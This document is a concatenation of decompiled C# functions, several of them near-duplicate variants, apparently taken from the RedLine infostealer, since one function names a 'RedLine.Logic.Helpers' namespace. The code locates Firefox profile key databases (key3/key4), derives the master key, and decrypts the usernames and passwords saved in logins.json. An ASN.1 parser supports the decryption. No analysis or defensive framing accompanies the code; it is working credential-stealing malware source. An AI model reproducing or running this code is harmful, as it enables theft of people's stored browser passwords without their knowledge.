private static List <LoginPair> ParseLogins(string profile, byte[] privateKey) { List <LoginPair> loginPairList = new List <LoginPair>(); try { string tempCopy = DecryptHelper.CreateTempCopy(Path.Combine(profile, "logins.json")); if (!File.Exists(tempCopy)) { return(loginPairList); } foreach (JsonValue jsonValue in (IEnumerable)File.ReadAllText(tempCopy).FromJSON()["logins"]) { Asn1Object asn1Object1 = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false))); Asn1Object asn1Object2 = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false))); string str1 = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object1.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object1.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string str2 = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object2.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); LoginPair loginPair = new LoginPair() { Host = string.IsNullOrEmpty(jsonValue["hostname"].ToString(false)) ? "UNKNOWN" : jsonValue["hostname"].ToString(false), Login = string.IsNullOrEmpty(str1) ? "UNKNOWN" : str1, Password = string.IsNullOrEmpty(str2) ? "UNKNOWN" : str2 }; if (loginPair.Login != "UNKNOWN" && loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN") { loginPairList.Add(loginPair); } } } catch { } return(loginPairList); }
private static byte[] GetPrivate3Key(string file) { byte[] array = new byte[24]; try { if (!File.Exists(file)) { return(array); } new DataTable(); GeckoDatabase berkeleyDB = new GeckoDatabase(file); PasswordCheck passwordCheck = new PasswordCheck(ParseDb(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = ParseDb(berkeleyDB, (string x) => x.Equals("global-salt")); GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt)); geckoPasswordBasedEncryption.Init(); TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck)); Asn1Object asn1Object = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); GeckoPasswordBasedEncryption geckoPasswordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); geckoPasswordBasedEncryption2.Init(); Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.Default.GetBytes(TripleDESHelper.Decrypt(geckoPasswordBasedEncryption2.DataKey, geckoPasswordBasedEncryption2.DataIV, asn1Object.Objects[0].Objects[1].ObjectData))).Objects[0].Objects[2].ObjectData); if (asn1Object2.Objects[0].Objects[3].ObjectData.Length <= 24) { array = asn1Object2.Objects[0].Objects[3].ObjectData; return(array); } Array.Copy(asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); return(array); } catch { return(array); } }
// Token: 0x060002CB RID: 715 RVA: 0x0000D09C File Offset: 0x0000B29C private static byte[] GetPrivate3Key(string file) { byte[] array = new byte[24]; try { if (!File.Exists(file)) { return(array); } MethodInfo method = typeof(Array).GetMethod("Copy", new Type[] { typeof(Array), typeof(int), typeof(Array), typeof(int), typeof(int) }); GeckoDatabase berkeleyDB = new GeckoDatabase(file); PasswordCheck passwordCheck = new PasswordCheck(GeckoEngine.ParseDb(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = GeckoEngine.ParseDb(berkeleyDB, (string x) => x.Equals("global-salt")); GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.GetEncoding("windows-1251").GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt)); geckoPasswordBasedEncryption.Init(); TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck), PaddingMode.None); Asn1Object asn1Object = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(GeckoEngine.ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); GeckoPasswordBasedEncryption geckoPasswordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.GetEncoding("windows-1251").GetBytes(string.Empty), asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); geckoPasswordBasedEncryption2.Init(); Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.GetEncoding("windows-1251").GetBytes(TripleDESHelper.Decrypt(geckoPasswordBasedEncryption2.DataKey, geckoPasswordBasedEncryption2.DataIV, asn1Object.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (asn1Object2.Objects[0].Objects[3].ObjectData.Length > 24) { method.Invoke(null, new object[] { asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24 }); } else { array = asn1Object2.Objects[0].Objects[3].ObjectData; } } catch { } return(array); }
private static byte[] GetPrivate4Key(string file) { byte[] result = new byte[24]; try { if (!File.Exists(file)) { return(result); } SqlConnection sqlConnection = new SqlConnection(file); sqlConnection.ReadTable("metaData"); string s = sqlConnection.ParseValue(0, "item1"); string s2 = sqlConnection.ParseValue(0, "item2)"); Asn1Object asn1Object = Asn1Factory.Create(Encoding.Default.GetBytes(s2)); byte[] objectData = asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = asn1Object.Objects[0].Objects[1].ObjectData; GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); geckoPasswordBasedEncryption.Init(); TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, objectData2); sqlConnection.ReadTable("nssPrivate"); int rowLength = sqlConnection.RowLength; string s3 = string.Empty; for (int i = 0; i < rowLength; i++) { if (sqlConnection.ParseValue(i, "a102") == Encoding.Default.GetString(Constants.Key4MagicNumber)) { s3 = sqlConnection.ParseValue(i, "a11"); break; } } Asn1Object asn1Object2 = Asn1Factory.Create(Encoding.Default.GetBytes(s3)); objectData = asn1Object2.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; objectData2 = asn1Object2.Objects[0].Objects[1].ObjectData; geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); geckoPasswordBasedEncryption.Init(); result = Encoding.Default.GetBytes(TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, objectData2, PaddingMode.PKCS7)); return(result); } catch { return(result); } }
private static byte[] GetPrivate3Key(string file) { byte[] numArray = new byte[24]; try { if (!File.Exists(file)) { return(numArray); } DataTable dataTable = new DataTable(); GeckoDatabase berkeleyDB = new GeckoDatabase(file); PasswordCheck passwordCheck = new PasswordCheck(GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => x.Equals("password-check")))); string db = GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => x.Equals("global-salt"))); GeckoPasswordBasedEncryption passwordBasedEncryption1 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(db), Encoding.Default.GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt)); passwordBasedEncryption1.Init(); TripleDESHelper.Decrypt(passwordBasedEncryption1.DataKey, passwordBasedEncryption1.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck), PaddingMode.None); Asn1Object asn1Object1 = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => { if (!x.Equals("password-check") && !x.Equals("Version")) { return(!x.Equals("global-salt")); } return(false); })))); GeckoPasswordBasedEncryption passwordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(db), Encoding.Default.GetBytes(string.Empty), asn1Object1.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); passwordBasedEncryption2.Init(); Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.Default.GetBytes(TripleDESHelper.Decrypt(passwordBasedEncryption2.DataKey, passwordBasedEncryption2.DataIV, asn1Object1.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (asn1Object2.Objects[0].Objects[3].ObjectData.Length > 24) { Array.Copy((Array)asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, (Array)numArray, 0, 24); } else { numArray = asn1Object2.Objects[0].Objects[3].ObjectData; } } catch { } return(numArray); }
private static byte[] GetPrivate4Key(string file) { byte[] numArray = new byte[24]; try { if (!File.Exists(file)) { return(numArray); } SqlConnection sqlConnection = new SqlConnection(file); sqlConnection.ReadTable("metaData"); string s = sqlConnection.ParseValue(0, "item1"); Asn1Object asn1Object1 = Asn1Factory.Create(Encoding.Default.GetBytes(sqlConnection.ParseValue(0, "item2)"))); byte[] objectData1 = asn1Object1.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = asn1Object1.Objects[0].Objects[1].ObjectData; GeckoPasswordBasedEncryption passwordBasedEncryption1 = new GeckoPasswordBasedEncryption(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData1); passwordBasedEncryption1.Init(); TripleDESHelper.Decrypt(passwordBasedEncryption1.DataKey, passwordBasedEncryption1.DataIV, objectData2, PaddingMode.None); sqlConnection.ReadTable("nssPrivate"); int rowLength = sqlConnection.RowLength; string empty = string.Empty; for (int rowIndex = 0; rowIndex < rowLength; ++rowIndex) { if (sqlConnection.ParseValue(rowIndex, "a102") == Encoding.Default.GetString(RedLine.Logic.Helpers.Constants.Key4MagicNumber)) { empty = sqlConnection.ParseValue(rowIndex, "a11"); break; } } Asn1Object asn1Object2 = Asn1Factory.Create(Encoding.Default.GetBytes(empty)); byte[] objectData3 = asn1Object2.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData4 = asn1Object2.Objects[0].Objects[1].ObjectData; GeckoPasswordBasedEncryption passwordBasedEncryption2 = new GeckoPasswordBasedEncryption(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData3); passwordBasedEncryption2.Init(); numArray = Encoding.Default.GetBytes(TripleDESHelper.Decrypt(passwordBasedEncryption2.DataKey, passwordBasedEncryption2.DataIV, objectData4, PaddingMode.PKCS7)); } catch { } return(numArray); }
// Token: 0x060002C9 RID: 713 RVA: 0x0000CBD0 File Offset: 0x0000ADD0 private static List <LoginPair> ParseLogins(string profile, byte[] privateKey) { List <LoginPair> list = new List <LoginPair>(); try { if (!File.Exists(Path.Combine(profile, "logins.json"))) { return(list); } bool flag; string path = DecryptHelper.TryCreateTemp(Path.Combine(profile, "logins.json"), out flag); foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"])) { JsonValue jsonValue = (JsonValue)obj; Asn1Object asn1Object = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false))); Asn1Object asn1Object2 = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false))); string text = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object2.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); LoginPair loginPair = new LoginPair { Host = (string.IsNullOrEmpty(jsonValue["hostname"].ToString(false)) ? "UNKNOWN" : jsonValue["hostname"].ToString(false)), Login = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text), Password = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2) }; if (loginPair.Login != "UNKNOWN" && loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN") { list.Add(loginPair); } } if (flag) { File.Delete(path); } } catch (Exception) { } return(list); }
private static List <LoginPair> ParseLogins(string profile, byte[] privateKey) { List <LoginPair> list = new List <LoginPair>(); try { string path = DecryptHelper.CreateTempCopy(Path.Combine(profile, "logins.json")); if (File.Exists(path)) { { foreach (JsonValue item in (IEnumerable)File.ReadAllText(path).FromJSON()["logins"]) { Asn1Object asn1Object = Asn1Factory.Create(Convert.FromBase64String(item["encryptedUsername"].ToString(saving: false))); Asn1Object asn1Object2 = Asn1Factory.Create(Convert.FromBase64String(item["encryptedPassword"].ToString(saving: false))); string text = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object2.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); LoginPair loginPair = new LoginPair { Host = (string.IsNullOrEmpty(item["hostname"].ToString(saving: false)) ? "UNKNOWN" : item["hostname"].ToString(saving: false)), Login = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text), Password = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2) }; if (loginPair.Login != "UNKNOWN" && loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN") { list.Add(loginPair); } } return(list); } } return(list); } catch { return(list); } }
public static Asn1Object Create(byte[] dataToParse) { Asn1Object asn1Object = new Asn1Object(); for (int index = 0; index < dataToParse.Length; ++index) { Asn1Type asn1Type = (Asn1Type)dataToParse[index]; int num = 0; switch (asn1Type) { case Asn1Type.Integer: asn1Object.Objects.Add(new Asn1Object() { ObjectType = Asn1Type.Integer, ObjectLength = (int)dataToParse[index + 1] }); byte[] numArray1 = new byte[(int)dataToParse[index + 1]]; int length1 = index + 2 + (int)dataToParse[index + 1] > dataToParse.Length ? dataToParse.Length - (index + 2) : (int)dataToParse[index + 1]; Array.Copy((Array)dataToParse, index + 2, (Array)numArray1, 0, length1); asn1Object.Objects[asn1Object.Objects.Count - 1].ObjectData = numArray1; index = index + 1 + asn1Object.Objects[asn1Object.Objects.Count - 1].ObjectLength; break; case Asn1Type.OctetString: asn1Object.Objects.Add(new Asn1Object() { ObjectType = Asn1Type.OctetString, ObjectLength = (int)dataToParse[index + 1] }); byte[] numArray2 = new byte[(int)dataToParse[index + 1]]; int length2 = index + 2 + (int)dataToParse[index + 1] > dataToParse.Length ? dataToParse.Length - (index + 2) : (int)dataToParse[index + 1]; Array.Copy((Array)dataToParse, index + 2, (Array)numArray2, 0, length2); asn1Object.Objects[asn1Object.Objects.Count - 1].ObjectData = numArray2; index = index + 1 + asn1Object.Objects[asn1Object.Objects.Count - 1].ObjectLength; break; case Asn1Type.ObjectIdentifier: asn1Object.Objects.Add(new Asn1Object() { ObjectType = Asn1Type.ObjectIdentifier, ObjectLength = (int)dataToParse[index + 1] }); byte[] numArray3 = new byte[(int)dataToParse[index + 1]]; int length3 = index + 2 + (int)dataToParse[index + 1] > dataToParse.Length ? dataToParse.Length - (index + 2) : (int)dataToParse[index + 1]; Array.Copy((Array)dataToParse, index + 2, (Array)numArray3, 0, length3); asn1Object.Objects[asn1Object.Objects.Count - 1].ObjectData = numArray3; index = index + 1 + asn1Object.Objects[asn1Object.Objects.Count - 1].ObjectLength; break; case Asn1Type.Sequence: byte[] dataToParse1; if (asn1Object.ObjectLength == 0) { asn1Object.ObjectType = Asn1Type.Sequence; asn1Object.ObjectLength = dataToParse.Length - (index + 2); dataToParse1 = new byte[asn1Object.ObjectLength]; } else { asn1Object.Objects.Add(new Asn1Object() { ObjectType = Asn1Type.Sequence, ObjectLength = (int)dataToParse[index + 1] }); dataToParse1 = new byte[(int)dataToParse[index + 1]]; } num = dataToParse1.Length > dataToParse.Length - (index + 2) ? dataToParse.Length - (index + 2) : dataToParse1.Length; Array.Copy((Array)dataToParse, index + 2, (Array)dataToParse1, 0, dataToParse1.Length); asn1Object.Objects.Add(Asn1Factory.Create(dataToParse1)); index = index + 1 + (int)dataToParse[index + 1]; break; } } return(asn1Object); }
// Token: 0x060002C2 RID: 706 RVA: 0x0000C1E4 File Offset: 0x0000A3E4 public static Asn1Object Create(byte[] dataToParse) { MethodInfo method = typeof(Array).GetMethod("Copy", new Type[] { typeof(Array), typeof(int), typeof(Array), typeof(int), typeof(int) }); Asn1Object asn1Object = new Asn1Object(); for (int i = 0; i < dataToParse.Length; i++) { Asn1Type asn1Type = (Asn1Type)dataToParse[i]; switch (asn1Type) { case Asn1Type.Integer: { asn1Object.Objects.Add(new Asn1Object { ObjectType = Asn1Type.Integer, ObjectLength = (int)dataToParse[i + 1] }); byte[] array = new byte[(int)dataToParse[i + 1]]; int num = (i + 2 + (int)dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : ((int)dataToParse[i + 1]); method.Invoke(null, new object[] { dataToParse, i + 2, array, 0, num }); asn1Object.Objects[asn1Object.Objects.Count - 1].ObjectData = array; i = i + 1 + asn1Object.Objects[asn1Object.Objects.Count - 1].ObjectLength; break; } case Asn1Type.BitString: case Asn1Type.Null: break; case Asn1Type.OctetString: { asn1Object.Objects.Add(new Asn1Object { ObjectType = Asn1Type.OctetString, ObjectLength = (int)dataToParse[i + 1] }); byte[] array = new byte[(int)dataToParse[i + 1]]; int num = (i + 2 + (int)dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : ((int)dataToParse[i + 1]); method.Invoke(null, new object[] { dataToParse, i + 2, array, 0, num }); asn1Object.Objects[asn1Object.Objects.Count - 1].ObjectData = array; i = i + 1 + asn1Object.Objects[asn1Object.Objects.Count - 1].ObjectLength; break; } case Asn1Type.ObjectIdentifier: { asn1Object.Objects.Add(new Asn1Object { ObjectType = Asn1Type.ObjectIdentifier, ObjectLength = (int)dataToParse[i + 1] }); byte[] array = new byte[(int)dataToParse[i + 1]]; int num = (i + 2 + (int)dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : ((int)dataToParse[i + 1]); method.Invoke(null, new object[] { dataToParse, i + 2, array, 0, num }); asn1Object.Objects[asn1Object.Objects.Count - 1].ObjectData = array; i = i + 1 + asn1Object.Objects[asn1Object.Objects.Count - 1].ObjectLength; break; } default: if (asn1Type == Asn1Type.Sequence) { byte[] array; if (asn1Object.ObjectLength == 0) { asn1Object.ObjectType = Asn1Type.Sequence; asn1Object.ObjectLength = dataToParse.Length - (i + 2); array = new byte[asn1Object.ObjectLength]; } else { asn1Object.Objects.Add(new Asn1Object { ObjectType = Asn1Type.Sequence, ObjectLength = (int)dataToParse[i + 1] }); array = new byte[(int)dataToParse[i + 1]]; } int num2 = (array.Length > dataToParse.Length - (i + 2)) ? (dataToParse.Length - (i + 2)) : array.Length; method.Invoke(null, new object[] { dataToParse, i + 2, array, 0, array.Length }); asn1Object.Objects.Add(Asn1Factory.Create(array)); i = i + 1 + (int)dataToParse[i + 1]; } break; } } return(asn1Object); }